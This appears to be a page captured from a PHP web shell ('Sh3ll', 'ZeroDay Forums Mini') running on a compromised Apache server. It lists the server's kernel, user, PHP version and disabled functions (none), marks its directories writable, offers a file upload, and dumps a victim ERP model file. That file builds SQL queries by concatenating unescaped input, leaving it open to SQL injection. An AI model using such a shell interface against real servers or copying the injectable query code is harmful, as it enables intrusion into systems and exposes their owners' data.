Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/erp-21-08-2019/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/erp-21-08-2019/models/test_model.php
<?php
//if (!class_exists($erpModel)) {
	require_once __DIR__."/erp_model.php";
//}
class testModel extends erpModel {
	public function __construct() {
        // mysql connection using PDO
        try {
 		   	$this->pdo = new PDO('mysql:host=' .DB_SERVER. ';dbname=' .DB_NAME. ';charset=utf8', DB_USER, DB_PASSWD, $options);
			$this->pdo->query("use erp_test");
		} catch (PDOException $e) {
    		die("Error!: " . $e->getMessage());
		}
   	}

    public function __destruct() {
        //print mysql_error();
        $this->dbStmt = null;
        $this->pdo = null;
	}


	//***********************************************************************
	//*							hms Dashboard data						*
	//***********************************************************************

    function saveHello($myname) {
        if ($this->pdo->query("SELECT * FROM " .$this->tableID. " WHERE rowID=" .$this->tupleID)->rowCount()) {
            $this->sqlStmt = "UPDATE " .$this->tableID. " SET myName='$myname'
            WHERE rowID=" .$this->tupleID;
            $this->pdo->exec($this->sqlStmt);
        } else{
            $this->sqlStmt = "INSERT INTO " .$this->tableID. "(myName)
            value('$myname')";
            $this->pdo->exec($this->sqlStmt);
            $this->tupleID = $this->pdo->lastInsertId();
        }
    }

	function listHellos() {
		$this->dbStmt = $this->pdo->query("SELECT * FROM erp_test.test_hellos ORDER BY myName");
		return $this->dbStmt->fetchAll(PDO::FETCH_ASSOC);
	}
}
?>

ZeroDay Forums Mini